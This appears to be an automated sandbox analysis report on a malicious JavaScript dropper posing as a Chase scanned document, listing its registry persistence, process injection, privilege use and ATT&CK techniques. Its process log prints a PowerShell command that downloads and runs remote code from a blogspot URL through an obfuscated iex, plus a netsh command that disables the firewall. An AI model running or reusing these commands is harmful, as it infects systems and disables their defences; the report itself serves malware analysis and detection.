77109ba56a5e70fafe88a10800764ec30d35727c1ff8cdb2934534ae8c7e048b

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Deissl1 = "schtasks /run /tn Deissl1"	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

27 api.ipify.org
28 api.ipify.org
30 ip-api.com

flow	ioc
27	api.ipify.org
28	api.ipify.org
30	ip-api.com

Suspicious use of SetThreadContext 3 IoCs

Processes:

powershell.exe

description	pid	process	target process
PID 1148 set thread context of 2648	1148	powershell.exe	RegSvcs.exe
PID 1148 set thread context of 1768	1148	powershell.exe	RegSvcs.exe
PID 1148 set thread context of 1168	1148	powershell.exe	Msbuild.exe

Drops file in Windows directory 1 IoCs

Processes:

dw20.exe

description ioc process

File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp dw20.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	ioc	process
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	dw20.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

dw20.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

dw20.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe

Modifies registry class 3 IoCs

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exeRegSvcs.exe

pid process

1148 powershell.exe
1148 powershell.exe
1148 powershell.exe
1148 powershell.exe
1148 powershell.exe
1148 powershell.exe
2648 RegSvcs.exe
2648 RegSvcs.exe

pid	process
1148	powershell.exe
1148	powershell.exe
1148	powershell.exe
1148	powershell.exe
1148	powershell.exe
1148	powershell.exe
2648	RegSvcs.exe
2648	RegSvcs.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exeRegSvcs.exedw20.exe

description	pid	process
Token: SeDebugPrivilege	1148	powershell.exe
Token: SeDebugPrivilege	2648	RegSvcs.exe
Token: SeRestorePrivilege	408	dw20.exe
Token: SeBackupPrivilege	408	dw20.exe
Token: SeBackupPrivilege	408	dw20.exe
Token: SeBackupPrivilege	408	dw20.exe
Token: SeBackupPrivilege	408	dw20.exe
Token: SeIncreaseQuotaPrivilege	1148	powershell.exe
Token: SeSecurityPrivilege	1148	powershell.exe
Token: SeTakeOwnershipPrivilege	1148	powershell.exe
Token: SeLoadDriverPrivilege	1148	powershell.exe
Token: SeSystemProfilePrivilege	1148	powershell.exe
Token: SeSystemtimePrivilege	1148	powershell.exe
Token: SeProfSingleProcessPrivilege	1148	powershell.exe
Token: SeIncBasePriorityPrivilege	1148	powershell.exe
Token: SeCreatePagefilePrivilege	1148	powershell.exe
Token: SeBackupPrivilege	1148	powershell.exe
Token: SeRestorePrivilege	1148	powershell.exe
Token: SeShutdownPrivilege	1148	powershell.exe
Token: SeDebugPrivilege	1148	powershell.exe
Token: SeSystemEnvironmentPrivilege	1148	powershell.exe
Token: SeRemoteShutdownPrivilege	1148	powershell.exe
Token: SeUndockPrivilege	1148	powershell.exe
Token: SeManageVolumePrivilege	1148	powershell.exe
Token: 33	1148	powershell.exe
Token: 34	1148	powershell.exe
Token: 35	1148	powershell.exe
Token: 36	1148	powershell.exe
Token: SeIncreaseQuotaPrivilege	1148	powershell.exe
Token: SeSecurityPrivilege	1148	powershell.exe
Token: SeTakeOwnershipPrivilege	1148	powershell.exe
Token: SeLoadDriverPrivilege	1148	powershell.exe
Token: SeSystemProfilePrivilege	1148	powershell.exe
Token: SeSystemtimePrivilege	1148	powershell.exe
Token: SeProfSingleProcessPrivilege	1148	powershell.exe
Token: SeIncBasePriorityPrivilege	1148	powershell.exe
Token: SeCreatePagefilePrivilege	1148	powershell.exe
Token: SeBackupPrivilege	1148	powershell.exe
Token: SeRestorePrivilege	1148	powershell.exe
Token: SeShutdownPrivilege	1148	powershell.exe
Token: SeDebugPrivilege	1148	powershell.exe
Token: SeSystemEnvironmentPrivilege	1148	powershell.exe
Token: SeRemoteShutdownPrivilege	1148	powershell.exe
Token: SeUndockPrivilege	1148	powershell.exe
Token: SeManageVolumePrivilege	1148	powershell.exe
Token: 33	1148	powershell.exe
Token: 34	1148	powershell.exe
Token: 35	1148	powershell.exe
Token: 36	1148	powershell.exe
Token: SeIncreaseQuotaPrivilege	1148	powershell.exe
Token: SeSecurityPrivilege	1148	powershell.exe
Token: SeTakeOwnershipPrivilege	1148	powershell.exe
Token: SeLoadDriverPrivilege	1148	powershell.exe
Token: SeSystemProfilePrivilege	1148	powershell.exe
Token: SeSystemtimePrivilege	1148	powershell.exe
Token: SeProfSingleProcessPrivilege	1148	powershell.exe
Token: SeIncBasePriorityPrivilege	1148	powershell.exe
Token: SeCreatePagefilePrivilege	1148	powershell.exe
Token: SeBackupPrivilege	1148	powershell.exe
Token: SeRestorePrivilege	1148	powershell.exe
Token: SeShutdownPrivilege	1148	powershell.exe
Token: SeDebugPrivilege	1148	powershell.exe
Token: SeSystemEnvironmentPrivilege	1148	powershell.exe
Token: SeRemoteShutdownPrivilege	1148	powershell.exe

Suspicious use of WriteProcessMemory 35 IoCs

Processes:

wscript.exepowershell.execsc.exeMsbuild.exe

description	pid	process	target process
PID 1116 wrote to memory of 1148	1116	wscript.exe	powershell.exe
PID 1116 wrote to memory of 1148	1116	wscript.exe	powershell.exe
PID 1148 wrote to memory of 4188	1148	powershell.exe	csc.exe
PID 1148 wrote to memory of 4188	1148	powershell.exe	csc.exe
PID 4188 wrote to memory of 4588	4188	csc.exe	cvtres.exe
PID 4188 wrote to memory of 4588	4188	csc.exe	cvtres.exe
PID 1148 wrote to memory of 808	1148	powershell.exe	netsh.exe
PID 1148 wrote to memory of 808	1148	powershell.exe	netsh.exe
PID 1148 wrote to memory of 2648	1148	powershell.exe	RegSvcs.exe
PID 1148 wrote to memory of 2648	1148	powershell.exe	RegSvcs.exe
PID 1148 wrote to memory of 2648	1148	powershell.exe	RegSvcs.exe
PID 1148 wrote to memory of 2648	1148	powershell.exe	RegSvcs.exe
PID 1148 wrote to memory of 2648	1148	powershell.exe	RegSvcs.exe
PID 1148 wrote to memory of 2648	1148	powershell.exe	RegSvcs.exe
PID 1148 wrote to memory of 2648	1148	powershell.exe	RegSvcs.exe
PID 1148 wrote to memory of 2648	1148	powershell.exe	RegSvcs.exe
PID 1148 wrote to memory of 1768	1148	powershell.exe	RegSvcs.exe
PID 1148 wrote to memory of 1768	1148	powershell.exe	RegSvcs.exe
PID 1148 wrote to memory of 1768	1148	powershell.exe	RegSvcs.exe
PID 1148 wrote to memory of 1768	1148	powershell.exe	RegSvcs.exe
PID 1148 wrote to memory of 1768	1148	powershell.exe	RegSvcs.exe
PID 1148 wrote to memory of 1768	1148	powershell.exe	RegSvcs.exe
PID 1148 wrote to memory of 1768	1148	powershell.exe	RegSvcs.exe
PID 1148 wrote to memory of 1768	1148	powershell.exe	RegSvcs.exe
PID 1148 wrote to memory of 1168	1148	powershell.exe	Msbuild.exe
PID 1148 wrote to memory of 1168	1148	powershell.exe	Msbuild.exe
PID 1148 wrote to memory of 1168	1148	powershell.exe	Msbuild.exe
PID 1148 wrote to memory of 1168	1148	powershell.exe	Msbuild.exe
PID 1148 wrote to memory of 1168	1148	powershell.exe	Msbuild.exe
PID 1148 wrote to memory of 1168	1148	powershell.exe	Msbuild.exe
PID 1148 wrote to memory of 1168	1148	powershell.exe	Msbuild.exe
PID 1148 wrote to memory of 1168	1148	powershell.exe	Msbuild.exe
PID 1168 wrote to memory of 408	1168	Msbuild.exe	dw20.exe
PID 1168 wrote to memory of 408	1168	Msbuild.exe	dw20.exe
PID 1168 wrote to memory of 408	1168	Msbuild.exe	dw20.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\New_ScanDoc#092387CHASEeAdvice.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1116

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;$(irm simoubizw.blogspot.com///////////////////////////atom.xml) | . ('i*x').replace('*','e');Start-Sleep -Seconds 6
2⤵
- UAC bypass
- Blocklisted process makes network request
- Registers COM server for autorun
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1148

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4a3dkgcd\4a3dkgcd.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:4188

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7639.tmp" "c:\Users\Admin\AppData\Local\Temp\4a3dkgcd\CSCA1C908A7EDF046C88043681E4A51E7A5.TMP"
4⤵
PID:4588

C:\Windows\system32\netsh.exe
"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off -ErrorAction SilentlyContinue
3⤵
- Modifies Windows Firewall
PID:808

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2648

C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
3⤵
PID:1768

C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
"C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:1168

C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
dw20.exe -x -s 780
4⤵
- Drops file in Windows directory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:408

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service